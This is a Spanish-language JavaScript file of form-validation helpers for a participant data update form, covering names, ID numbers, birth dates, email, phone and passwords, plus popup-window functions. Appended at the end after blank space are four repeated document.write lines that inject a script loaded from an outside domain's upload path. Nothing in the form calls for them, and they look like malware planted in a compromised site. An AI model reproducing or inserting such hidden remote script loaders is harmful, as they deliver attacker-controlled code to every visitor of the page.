
function div2(ind){

	if(document.actualiza.cod_participe.value == ''){
	alert("Debe Ingresar el codigo del Participe");
	return false;
	}
if(document.actualiza.ape_pat.value == ''){
	alert("Debe ingresar el apellido paterno");
	return false;
	}
if(document.actualiza.ape_mat.value == ''){alert("Debe ingresar el apellido materno");return false;}
if(document.actualiza.nombres.value == ''){alert("Debe ingresar el nombre de la persona");return false;}
if(document.actualiza.documento.value == ''){alert("Debe ingresar el DNI/C.E/C.I/Otro");return false;}


if(document.actualiza.fec_nac.value == ''){
	alert("Debe ingresar la fecha Nacimiento");
	return false;
	}
if(document.actualiza.direccion2.value == ''){alert("Debe ingresar la dirección de envio");return false;}
if(document.actualiza.provincia.value == ''){alert("Debe ingresar la provincia");return false;}
if(document.actualiza.departamento.value == ''){alert("Debe ingresar el departamento");return false;}
	if(document.actualiza.fec_nac.value != '' )
	{
		var fec = document.actualiza.fec_nac.value.split('/');
  		 <!--validar dia->
		 if ( (isNaN(parseFloat(fec[0]))) || (parseFloat(fec[0])<1) || (parseFloat(fec[0])>31) )
			{
				alert("No es un Dia Válido");
				document.actualiza.fec_nac.focus();
				document.actualiza.fec_nac.select();	
				return false;
			}
	    <!--validar Mes->
		if ( (isNaN(parseFloat(fec[1]))) || (parseFloat(fec[1])<1) || (parseFloat(fec[1]) >12) )
			{
				alert("No es un Mes Válido");
				document.actualiza.fec_nac.focus();
				document.actualiza.fec_nac.select();
				return false;
			}
		<!--validar Año->
		if ( (isNaN(parseFloat(fec[2]))) || (parseFloat(fec[2])<1920) || (parseFloat(fec[2]) >2000) )
			{
				alert("No es un año Válido");
				document.actualiza.fec_nac.focus();
				document.actualiza.fec_nac.select();
				return false;
			}	
	}

if(document.actualiza.email.value != '' )
{
	var correo = /^(.+\@.+\..+)$/;
	  if(!correo.test(document.actualiza.email.value))
	  {
		alert("Formato de correo electronico invalido");
		document.actualiza.email.select();
		return false;
	  }
}

mydiv = document.getElementById("confirmacion");

mydiv.style.display = "block"; //to show it
document.getElementById("contenido").style.display = "none";



}
function send()
{
if(document.getElementById("dni2").value == ''){alert("Debe ingresar el DNI de confirmación");return false;}

document.actualiza.dni.value = document.getElementById("dni2").value;

document.actualiza.submit();
}

function sololetras(e){
        kc=(document.all)?e.keyCode:e.which;
        if(kc<32) return true;
        kc=String.fromCharCode(kc);
        if(/[^a-zA-Zñ ]/.test(kc)) return false;
      }
function solonumeros(e){
	tecla_codigo = (document.all) ? e.keyCode : e.which;
	if(tecla_codigo==8)return true;
	patron =/[0-9 ]/;
	tecla_valor = String.fromCharCode(tecla_codigo);
	return patron.test(tecla_valor);
}


function IsMail(YourMail)
{
	var Template = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; //Formato de direccion de correo electronico
	
	if(YourMail.value!="") 
	{
		if (Template.test(YourMail.value)) 
		{							}
		else
		{   alert("Email invalid");
			YourMail.focus();
			YourMail.select();
		}		
	}
	return false;
}

function IsPhone(YourPhone)
{
	var Template = /^[0-9- ]+$/i //Formato de alfanumerico
	
	if(YourPhone.value!="") 
	{
		if (Template.test(YourPhone.value)) 
		{							}
		else
		{   alert("El Teléfono que ha Ingresado tiene Caracteres Inválidos");
			YourPhone.focus();
			YourPhone.select();
		}		
	}
	return false;
}

function IsPassword(pass)
{	var Template = /^[0-9a-zA-Z]+$/i //Formato de alfanumerico
	
	if(pass.value!="") 
	{
		if (Template.test(pass.value)) 
		{							}
		else
		{   alert("Contraseña errónea, vuelvalo a intentar");
			pass.focus();
			pass.select();
		}		
	}
	return false;
}

function IsTexto(texto)
{
	var Template = /^[a-zA-ZáéíóúÁÉÍÓÚÑñ, ]+$/i //Formato de alfanumerico
		if(texto.value!="") 
	{
		if (Template.test(texto.value)) 
		{							}
		else
		{   alert("Solo puede ingresar texto");
			texto.focus();
			texto.select();
		}		
	}		
	 else
	 { alert("Ingrese los datos solicitados"); }
	return false;
}

function IsText(text)
{
	var Template = /^[a-zA-ZáéíóúÁÉÍÓÚÑñ, ]+$/i //Formato de alfanumerico
		if(text.value!="") 
	{
		if (Template.test(text.value)) 
		{							}
		else
		{   alert("Solo puede ingresar texto");
			text.focus();
			text.select();
		}		
	}		
	return false;
}


function IsDay(day)
{
	if(day.value!="") 
	{
	if ( (isNaN(day.value)) || (day.value<1) || (day.value >31) )
		{
			alert("No es un Dia Válido");
			day.focus();
			day.select();			
		}
	}
	
	return false;	
}

function IsMonth(month)
{
	if(month.value!="") 
	{
	if ( (isNaN(month.value)) || (month.value<1) || (month.value >12) )
		{
			alert("No es un Mes Válido");
			month.focus();
			month.select();
		}
	}	
	return false;	
}

function IsYear(year)
{
	if(year.value!="") 
	{
	if ( (isNaN(year.value)) || (year.value<2005) || (year.value >2020) )
		{
			alert("No es un año Válido. Año mínimo 2005");
			year.focus();
			year.select();
		}		
	}	
	return false;	
}

function IsYearNac(year)
{
	if(year.value!="") 
	{
	if ( (isNaN(year.value)) || (year.value<1910) || (year.value >1990) )
		{
			alert("No es un año Válido.");
			year.focus();
			year.select();
		}		
	}	
	return false;	
}

function IsNumerico(numero)
{

	var Template = /^[0-9]+$/i //Formato de alfanumerico

	if(numero.value!="") 
		
	{

			if (Template.test(numero.value)) 
			{							}
			else
			{   alert("El Número que ha Ingresado tiene Caracteres Inválidos o\n no es un Número");
				numero.focus();
				numero.select();
				return false;
			}
		}
/*		else
		{
				alert("El número debe ser mayor que cero.");
				numero.focus();
				numero.select();
			}
*/
	return false;
}

function IsDecimales(decimales)
{
	var Template = /^[0-9.]+$/i //Formato de alfanumerico
	
	if(decimales.value!="") 
	{
		if (Template.test(decimales.value)) 
		{							}
		else
		{   alert("El Número que ha Ingresado tiene Caracteres Inválidos");
			decimales.focus();
			decimales.select();
		}		
	}
	return false;
}

function validarPasswd(pass) 
{	var espacios = true;
 	var cont = 0;
	
	// Este bucle recorre la cadena para comprobar que no todo son espacios
	while (espacios && (cont < pass.length)) 
	{  	if (pass.charAt(cont) != " ") 
		{	alert ("La contraseña no puede ser todo espacios en blanco");
			pass.focus();
			pass.select();
    	}
	    cont++;
	}
}

var win = null;
function NewWindow(mypage,myname,w,h,scroll,resi)
{
LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
settings ='height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars='+scroll+',resizable='+resi+''
win = window.open(mypage,myname,settings,resi)

if(win.window.focus){win.window.focus();}
}

var win = null;
function NewWindow2(mypage,myname,w,h,scrollbar,resi){
LeftPosition = (screen.width-w)/2
TopPosition = (screen.height-h)/2 
settings =
'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars='+scrollbar+',resizable='+resi+''
window.open(mypage,myname,settings)
}

function cerrar()
{
	window.opener.location.reload();
	window.close();
}






document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');